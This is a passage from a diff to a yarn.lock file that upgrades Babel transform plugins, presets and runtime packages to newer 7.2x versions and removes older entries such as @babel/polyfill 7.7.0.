+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.25.9.tgz#454990ae6cc22fd2a0fa60b3a2c6f63a38064e6a"
+  integrity sha512-oqB6WHdKTGl3q/ItQhpLSnWWOpjUJLsOCLVyeFgeTktkBSCiurvPOsyt93gibI9CmuKvTUEtWmG5VhZD+5T/KA==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-new-target@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.10.4.tgz#9097d753cb7b024cb7381a3b2e52e9513a9c6888"
@@ -1542,6 +1769,36 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-new-target@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.25.9.tgz#42e61711294b105c248336dcb04b77054ea8becd"
+  integrity sha512-U/3p8X1yCSoKyUj2eOBIx3FOn6pElFOKvAAGf8HTtItuPyB+ZeOqfn+mvTtg9ZlOAjsPdK3ayQEjqHjU/yLeVQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-nullish-coalescing-operator@^7.26.6":
+  version "7.26.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.26.6.tgz#fbf6b3c92cb509e7b319ee46e3da89c5bedd31fe"
+  integrity sha512-CKW8Vu+uUZneQCPtXmSBUC6NCAUdya26hWCElAWh5mVSlSRsmiCPUUDKb3Z0szng1hiAJa098Hkhg9o4SE35Qw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.26.5"
+
+"@babel/plugin-transform-numeric-separator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.25.9.tgz#bfed75866261a8b643468b0ccfd275f2033214a1"
+  integrity sha512-TlprrJ1GBZ3r6s96Yq8gEQv82s8/5HnCVHtEJScUj90thHQbwe+E5MLhi2bbNHBEJuzrvltXSru+BUxHDoog7Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-object-rest-spread@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.25.9.tgz#0203725025074164808bcf1a2cfa90c652c99f18"
+  integrity sha512-fSaXafEE9CVHPweLYw4J0emp1t8zYTXyzN3UuG+lylqkvYd7RMrsOQ8TYx5RF231be0vqtFC6jnx3UmpJmKBYg==
+  dependencies:
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/plugin-transform-parameters" "^7.25.9"
+
 "@babel/plugin-transform-object-super@^7.0.0":
   version "7.18.6"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.18.6.tgz#fb3c6ccdd15939b6ff7939944b51971ddc35912c"
@@ -1558,6 +1815,29 @@
     "@babel/helper-plugin-utils" "^7.10.4"
     "@babel/helper-replace-supers" "^7.10.4"
 
+"@babel/plugin-transform-object-super@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.25.9.tgz#385d5de135162933beb4a3d227a2b7e52bb4cf03"
+  integrity sha512-Kj/Gh+Rw2RNLbCK1VAWj2U48yxxqL2x0k10nPtSdRa0O2xnHXalD0s+o1A6a0W43gJ00ANo38jxkQreckOzv5A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.25.9"
+
+"@babel/plugin-transform-optional-catch-binding@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.25.9.tgz#10e70d96d52bb1f10c5caaac59ac545ea2ba7ff3"
+  integrity sha512-qM/6m6hQZzDcZF3onzIhZeDHDO43bkNNlOX0i8n3lR6zLbu0GN2d8qfM/IERJZYauhAHSLHy39NF0Ctdvcid7g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-optional-chaining@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.25.9.tgz#e142eb899d26ef715435f201ab6e139541eee7dd"
+  integrity sha512-6AvV0FsLULbpnXeBjrY4dmWF8F7gf8QnvTEoO/wX/5xm/xE1Xo8oPuD3MPS+KS9f9XBEAWN7X1aWr4z9HdOr7A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+
 "@babel/plugin-transform-parameters@^7.0.0", "@babel/plugin-transform-parameters@^7.20.7":
   version "7.20.7"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.20.7.tgz#0ee349e9d1bc96e78e3b37a7af423a4078a7083f"
@@ -1573,6 +1853,38 @@
     "@babel/helper-get-function-arity" "^7.10.4"
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-parameters@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.25.9.tgz#b856842205b3e77e18b7a7a1b94958069c7ba257"
+  integrity sha512-wzz6MKwpnshBAiRmn4jR8LYz/g8Ksg0o80XmwZDlordjwEk9SxBzTWC7F5ef1jhbrbOW2DJ5J6ayRukrJmnr0g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-private-methods@^7.10.4":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.27.1.tgz#fdacbab1c5ed81ec70dfdbb8b213d65da148b6af"
+  integrity sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.27.1"
+    "@babel/helper-plugin-utils" "^7.27.1"
+
+"@babel/plugin-transform-private-methods@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.25.9.tgz#847f4139263577526455d7d3223cd8bda51e3b57"
+  integrity sha512-D/JUozNpQLAPUVusvqMxyvjzllRaF8/nSrP1s2YGQT/W4LHK4xxsMcHjhOGTS01mp9Hda8nswb+FblLdJornQw==
+  dependencies:
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-private-property-in-object@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.25.9.tgz#9c8b73e64e6cc3cbb2743633885a7dd2c385fe33"
+  integrity sha512-Evf3kcMqzXA3xfYJmZ9Pg1OvKdtqsDMSWBDzZOPLvHiTt36E75jLDQo5w1gtRU95Q4E5PDttrTf25Fw8d/uWLw==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-property-literals@^7.0.0":
   version "7.18.6"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.18.6.tgz#e22498903a483448e94e032e9bbb9c5ccbfc93a3"
@@ -1587,6 +1899,13 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-property-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.25.9.tgz#d72d588bd88b0dec8b62e36f6fda91cedfe28e3f"
+  integrity sha512-IvIUeV5KrS/VPavfSM/Iu+RE6llrHrYIKY1yfCzyO/lMXHQ+p7uGhonmGVisv6tSBSVgWzMBohTcvkC9vQcQFA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-react-display-name@^7.0.0":
   version "7.18.6"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.18.6.tgz#8b1125f919ef36ebdfff061d664e266c666b9415"
@@ -1695,6 +2014,22 @@
   dependencies:
     regenerator-transform "^0.14.2"
 
+"@babel/plugin-transform-regenerator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.25.9.tgz#03a8a4670d6cebae95305ac6defac81ece77740b"
+  integrity sha512-vwDcDNsgMPDGP0nMqzahDWE5/MLcX8sv96+wfX7as7LoF/kr97Bo/7fI00lXY4wUXYfVmwIIyG80fGZ1uvt2qg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    regenerator-transform "^0.15.2"
+
+"@babel/plugin-transform-regexp-modifiers@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-regexp-modifiers/-/plugin-transform-regexp-modifiers-7.26.0.tgz#2f5837a5b5cd3842a919d8147e9903cc7455b850"
+  integrity sha512-vN6saax7lrA2yA/Pak3sCxuD6F5InBjn9IcrIKQPjpsLvuHYLVroTxjdlVRHjjBWxKOqIwpTXDkOssYT4BFdRw==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-reserved-words@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.10.4.tgz#8f2682bcdcef9ed327e1b0861585d7013f8a54dd"
@@ -1702,6 +2037,13 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-reserved-words@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.25.9.tgz#0398aed2f1f10ba3f78a93db219b27ef417fb9ce"
+  integrity sha512-7DL7DKYjn5Su++4RXu8puKZm2XBPHyjWLUidaPEkCUBbE7IPcsrkRHggAOOKydH1dASWdcUBxrkOGNxUv5P3Jg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-shorthand-properties@^7.0.0":
   version "7.18.6"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.18.6.tgz#6d6df7983d67b195289be24909e3f12a8f664dc9"
@@ -1716,6 +2058,13 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-shorthand-properties@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.25.9.tgz#bb785e6091f99f826a95f9894fc16fde61c163f2"
+  integrity sha512-MUv6t0FhO5qHnS/W8XCbHmiRWOphNufpE1IVxhK5kuN3Td9FT1x4rx4K42s3RYdMXCXpfWkGSbCSd0Z64xA7Ng==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-spread@^7.0.0":
   version "7.20.7"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.20.7.tgz#c2d83e0b99d3bf83e07b11995ee24bf7ca09401e"
@@ -1732,6 +2081,14 @@
     "@babel/helper-plugin-utils" "^7.10.4"
     "@babel/helper-skip-transparent-expression-wrappers" "^7.11.0"
 
+"@babel/plugin-transform-spread@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.25.9.tgz#24a35153931b4ba3d13cec4a7748c21ab5514ef9"
+  integrity sha512-oNknIB0TbURU5pqJFVbOOFspVlrpVwo2H1+HUIsVDvp5VauGGDP1ZEvO8Nn5xyMEs3dakajOxlmkNW7kNgSm6A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+
 "@babel/plugin-transform-sticky-regex@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.10.4.tgz#8f3889ee8657581130a29d9cc91d7c73b7c4a28d"
@@ -1740,6 +2097,13 @@
     "@babel/helper-plugin-utils" "^7.10.4"
     "@babel/helper-regex" "^7.10.4"
 
+"@babel/plugin-transform-sticky-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.25.9.tgz#c7f02b944e986a417817b20ba2c504dfc1453d32"
+  integrity sha512-WqBUSgeVwucYDP9U/xNRQam7xV8W5Zf+6Eo7T2SRVUFlhRiMNFdFz58u0KZmCVVqs2i7SHgpRnAhzRNmKfi2uA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-template-literals@^7.0.0":
   version "7.18.9"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.18.9.tgz#04ec6f10acdaa81846689d63fae117dd9c243a5e"
@@ -1755,6 +2119,13 @@
     "@babel/helper-annotate-as-pure" "^7.10.4"
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-template-literals@^7.26.8":
+  version "7.26.8"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.26.8.tgz#966b15d153a991172a540a69ad5e1845ced990b5"
+  integrity sha512-OmGDL5/J0CJPJZTHZbi2XpO0tyT2Ia7fzpW5GURwdtp2X3fMmN8au/ej6peC/T33/+CRiIpA8Krse8hFGVmT5Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.26.5"
+
 "@babel/plugin-transform-typeof-symbol@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.10.4.tgz#9509f1a7eec31c4edbffe137c16cc33ff0bc5bfc"
@@ -1762,14 +2133,23 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
-"@babel/plugin-transform-typescript@^7.16.0":
-  version "7.16.1"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.16.1.tgz#cc0670b2822b0338355bc1b3d2246a42b8166409"
-  integrity sha512-NO4XoryBng06jjw/qWEU2LhcLJr1tWkhpMam/H4eas/CDKMX/b2/Ylb6EI256Y7+FVPCawwSM1rrJNOpDiz+Lg==
+"@babel/plugin-transform-typeof-symbol@^7.26.7":
+  version "7.26.7"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.26.7.tgz#d0e33acd9223744c1e857dbd6fa17bd0a3786937"
+  integrity sha512-jfoTXXZTgGg36BmhqT3cAYK5qkmqvJpvNrPhaK/52Vgjhw4Rq29s9UqpWWV0D6yuRmgiFH/BUVlkl96zJWqnaw==
   dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.16.0"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-typescript" "^7.16.0"
+    "@babel/helper-plugin-utils" "^7.26.5"
+
+"@babel/plugin-transform-typescript@^7.25.9":
+  version "7.26.8"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.26.8.tgz#2e9caa870aa102f50d7125240d9dbf91334b0950"
+  integrity sha512-bME5J9AC8ChwA7aEPJ6zym3w7aObZULHhbNLU0bKUhKsAkylkzUdq+0kdymh9rzi8nlNFl2bmldFBCKNJBUpuw==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/plugin-syntax-typescript" "^7.25.9"
 
 "@babel/plugin-transform-unicode-escapes@^7.10.4":
   version "7.10.4"
@@ -1778,6 +2158,21 @@
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
+"@babel/plugin-transform-unicode-escapes@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.25.9.tgz#a75ef3947ce15363fccaa38e2dd9bc70b2788b82"
+  integrity sha512-s5EDrE6bW97LtxOcGj1Khcx5AaXwiMmi4toFWRDP9/y0Woo6pXC+iyPu/KuhKtfSrNFd7jJB+/fkOtZy6aIC6Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-unicode-property-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.25.9.tgz#a901e96f2c1d071b0d1bb5dc0d3c880ce8f53dd3"
+  integrity sha512-Jt2d8Ga+QwRluxRQ307Vlxa6dMrYEMZCgGxoPR8V52rxPyldHu3hdlHspxaqYmE7oID5+kB+UKUB/eWS+DkkWg==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
 "@babel/plugin-transform-unicode-regex@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.10.4.tgz#e56d71f9282fac6db09c82742055576d5e6d80a8"
@@ -1786,13 +2181,96 @@
     "@babel/helper-create-regexp-features-plugin" "^7.10.4"
     "@babel/helper-plugin-utils" "^7.10.4"
 
-"@babel/polyfill@7.7.0":
-  version "7.7.0"
-  resolved "https://registry.yarnpkg.com/@babel/polyfill/-/polyfill-7.7.0.tgz#e1066e251e17606ec7908b05617f9b7f8180d8f3"
-  integrity sha512-/TS23MVvo34dFmf8mwCisCbWGrfhbiWZSwBo6HkADTBhUa2Q/jWltyY/tpofz/b6/RIhqaqQcquptCirqIhOaQ==
-  dependencies:
-    core-js "^2.6.5"
-    regenerator-runtime "^0.13.2"
+"@babel/plugin-transform-unicode-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.25.9.tgz#5eae747fe39eacf13a8bd006a4fb0b5d1fa5e9b1"
+  integrity sha512-yoxstj7Rg9dlNn9UQxzk4fcNivwv4nUYz7fYXBaKxvw/lnmPuOm/ikoELygbYq68Bls3D/D+NBPHiLwZdZZ4HA==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-unicode-sets-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.25.9.tgz#65114c17b4ffc20fa5b163c63c70c0d25621fabe"
+  integrity sha512-8BYqO3GeVNHtx69fdPshN3fnzUNLrWdHhk/icSwigksJGczKSizZ+Z6SBCxTs723Fr5VSNorTIK7a+R2tISvwQ==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/preset-env@7.26.9", "@babel/preset-env@^7.26.9":
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/preset-env/-/preset-env-7.26.9.tgz#2ec64e903d0efe743699f77a10bdf7955c2123c3"
+  integrity sha512-vX3qPGE8sEKEAZCWk05k3cpTAE3/nOYca++JA+Rd0z2NCNzabmYvEiSShKzm10zdquOIAVXsy2Ei/DTW34KlKQ==
+  dependencies:
+    "@babel/compat-data" "^7.26.8"
+    "@babel/helper-compilation-targets" "^7.26.5"
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/helper-validator-option" "^7.25.9"
+    "@babel/plugin-bugfix-firefox-class-in-computed-class-key" "^7.25.9"
+    "@babel/plugin-bugfix-safari-class-field-initializer-scope" "^7.25.9"
+    "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression" "^7.25.9"
+    "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining" "^7.25.9"
+    "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly" "^7.25.9"
+    "@babel/plugin-proposal-private-property-in-object" "7.21.0-placeholder-for-preset-env.2"
+    "@babel/plugin-syntax-import-assertions" "^7.26.0"
+    "@babel/plugin-syntax-import-attributes" "^7.26.0"
+    "@babel/plugin-syntax-unicode-sets-regex" "^7.18.6"
+    "@babel/plugin-transform-arrow-functions" "^7.25.9"
+    "@babel/plugin-transform-async-generator-functions" "^7.26.8"
+    "@babel/plugin-transform-async-to-generator" "^7.25.9"
+    "@babel/plugin-transform-block-scoped-functions" "^7.26.5"
+    "@babel/plugin-transform-block-scoping" "^7.25.9"
+    "@babel/plugin-transform-class-properties" "^7.25.9"
+    "@babel/plugin-transform-class-static-block" "^7.26.0"
+    "@babel/plugin-transform-classes" "^7.25.9"
+    "@babel/plugin-transform-computed-properties" "^7.25.9"
+    "@babel/plugin-transform-destructuring" "^7.25.9"
+    "@babel/plugin-transform-dotall-regex" "^7.25.9"
+    "@babel/plugin-transform-duplicate-keys" "^7.25.9"
+    "@babel/plugin-transform-duplicate-named-capturing-groups-regex" "^7.25.9"
+    "@babel/plugin-transform-dynamic-import" "^7.25.9"
+    "@babel/plugin-transform-exponentiation-operator" "^7.26.3"
+    "@babel/plugin-transform-export-namespace-from" "^7.25.9"
+    "@babel/plugin-transform-for-of" "^7.26.9"
+    "@babel/plugin-transform-function-name" "^7.25.9"
+    "@babel/plugin-transform-json-strings" "^7.25.9"
+    "@babel/plugin-transform-literals" "^7.25.9"
+    "@babel/plugin-transform-logical-assignment-operators" "^7.25.9"
+    "@babel/plugin-transform-member-expression-literals" "^7.25.9"
+    "@babel/plugin-transform-modules-amd" "^7.25.9"
+    "@babel/plugin-transform-modules-commonjs" "^7.26.3"
+    "@babel/plugin-transform-modules-systemjs" "^7.25.9"
+    "@babel/plugin-transform-modules-umd" "^7.25.9"
+    "@babel/plugin-transform-named-capturing-groups-regex" "^7.25.9"
+    "@babel/plugin-transform-new-target" "^7.25.9"
+    "@babel/plugin-transform-nullish-coalescing-operator" "^7.26.6"
+    "@babel/plugin-transform-numeric-separator" "^7.25.9"
+    "@babel/plugin-transform-object-rest-spread" "^7.25.9"
+    "@babel/plugin-transform-object-super" "^7.25.9"
+    "@babel/plugin-transform-optional-catch-binding" "^7.25.9"
+    "@babel/plugin-transform-optional-chaining" "^7.25.9"
+    "@babel/plugin-transform-parameters" "^7.25.9"
+    "@babel/plugin-transform-private-methods" "^7.25.9"
+    "@babel/plugin-transform-private-property-in-object" "^7.25.9"
+    "@babel/plugin-transform-property-literals" "^7.25.9"
+    "@babel/plugin-transform-regenerator" "^7.25.9"
+    "@babel/plugin-transform-regexp-modifiers" "^7.26.0"
+    "@babel/plugin-transform-reserved-words" "^7.25.9"
+    "@babel/plugin-transform-shorthand-properties" "^7.25.9"
+    "@babel/plugin-transform-spread" "^7.25.9"
+    "@babel/plugin-transform-sticky-regex" "^7.25.9"
+    "@babel/plugin-transform-template-literals" "^7.26.8"
+    "@babel/plugin-transform-typeof-symbol" "^7.26.7"
+    "@babel/plugin-transform-unicode-escapes" "^7.25.9"
+    "@babel/plugin-transform-unicode-property-regex" "^7.25.9"
+    "@babel/plugin-transform-unicode-regex" "^7.25.9"
+    "@babel/plugin-transform-unicode-sets-regex" "^7.25.9"
+    "@babel/preset-modules" "0.1.6-no-external-plugins"
+    babel-plugin-polyfill-corejs2 "^0.4.10"
+    babel-plugin-polyfill-corejs3 "^0.11.0"
+    babel-plugin-polyfill-regenerator "^0.6.1"
+    core-js-compat "^3.40.0"
+    semver "^6.3.1"
 
 "@babel/preset-env@^7.11.0":
   version "7.11.0"
@@ -1876,6 +2354,15 @@
     "@babel/helper-plugin-utils" "^7.10.4"
     "@babel/plugin-transform-flow-strip-types" "^7.10.4"
 
+"@babel/preset-modules@0.1.6-no-external-plugins":
+  version "0.1.6-no-external-plugins"
+  resolved "https://registry.yarnpkg.com/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz#ccb88a2c49c817236861fee7826080573b8a923a"
+  integrity sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.0.0"
+    "@babel/types" "^7.4.4"
+    esutils "^2.0.2"
+
 "@babel/preset-modules@^0.1.3":
   version "0.1.3"
   resolved "https://registry.yarnpkg.com/@babel/preset-modules/-/preset-modules-0.1.3.tgz#13242b53b5ef8c883c3cf7dddd55b36ce80fbc72"
@@ -1912,14 +2399,16 @@
     "@babel/plugin-transform-react-jsx-development" "^7.22.5"
     "@babel/plugin-transform-react-pure-annotations" "^7.23.3"
 
-"@babel/preset-typescript@^7.14.5":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/preset-typescript/-/preset-typescript-7.16.0.tgz#b0b4f105b855fb3d631ec036cdc9d1ffd1fa5eac"
-  integrity sha512-txegdrZYgO9DlPbv+9QOVpMnKbOtezsLHWsnsRF4AjbSIsVaujrq1qg8HK0mxQpWv0jnejt0yEoW1uWpvbrDTg==
+"@babel/preset-typescript@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/preset-typescript/-/preset-typescript-7.26.0.tgz#4a570f1b8d104a242d923957ffa1eaff142a106d"
+  integrity sha512-NMk1IGZ5I/oHhoXEElcm+xUnL/szL6xflkFZmoEU9xj1qSJXpiS7rsspYo92B4DRCDvZn2erT5LdsCeXAKNCkg==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-validator-option" "^7.14.5"
-    "@babel/plugin-transform-typescript" "^7.16.0"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-validator-option" "^7.25.9"
+    "@babel/plugin-syntax-jsx" "^7.25.9"
+    "@babel/plugin-transform-modules-commonjs" "^7.25.9"
+    "@babel/plugin-transform-typescript" "^7.25.9"
 
 "@babel/register@^7.14.5":
   version "7.14.5"
@@ -1932,27 +2421,12 @@
     pirates "^4.0.0"
     source-map-support "^0.5.16"
 
-"@babel/runtime-corejs2@^7.2.0":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/runtime-corejs2/-/runtime-corejs2-7.8.3.tgz#b62a61e0c41a90d2d91181fda6de21cecd3a9734"
-  integrity sha512-yxJXBKdIogkfF+wgeJrvU7Afp5ugBi92NzSgNPWWKVoQAlixH3gwMP6yYYr7SV1Dbc0HmNw7WUJkV5ksvtQuHg==
+"@babel/runtime@7.24.7":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.24.7.tgz#f4f0d5530e8dbdf59b3451b9b3e594b6ba082e12"
+  integrity sha512-UwgBRMjJP+xv857DCngvqXI3Iq6J4v0wXmwc6sapg+zyhbwmQX67LUEFrkK5tbyJ30jGuG3ZvWpBiB9LCy1kWw==
   dependencies:
-    core-js "^2.6.5"
-    regenerator-runtime "^0.13.2"
-
-"@babel/runtime@7.10.2":
-  version "7.10.2"
-  resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.10.2.tgz#d103f21f2602497d38348a32e008637d506db839"
-  integrity sha512-6sF3uQw2ivImfVIl62RZ7MXhO2tap69WeWK57vAaimT6AZbE4FbqjdEJIN1UqoD6wI6B+1n9UiagafH1sxjOtg==
-  dependencies:
-    regenerator-runtime "^0.13.4"
-
-"@babel/runtime@7.7.7":
-  version "7.7.7"
-  resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.7.7.tgz#194769ca8d6d7790ec23605af9ee3e42a0aa79cf"
-  integrity sha512-uCnC2JEVAu8AKB5do1WRIsvrdJ0flYx/A/9f/6chdacnEZ7LmavjdsDXr5ksYBegxtuTPR5Va9/+13QF/kFkCA==
-  dependencies:
-    regenerator-runtime "^0.13.2"
+    regenerator-runtime "^0.14.0"
 
 "@babel/runtime@^7.0.0":
   version "7.23.9"
@@ -1977,15 +2451,6 @@
     "@babel/parser" "^7.12.13"
     "@babel/types" "^7.12.13"
 
-"@babel/template@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.16.0.tgz#d16a35ebf4cd74e202083356fab21dd89363ddd6"
-  integrity sha512-MnZdpFD/ZdYhXwiunMqqgyZyucaYsbL0IrjoGjaVhGilz+x8YB++kRfygSOIj1yOtWKPlx7NBp+9I1RQSgsd5A==
-  dependencies:
-    "@babel/code-frame" "^7.16.0"
-    "@babel/parser" "^7.16.0"
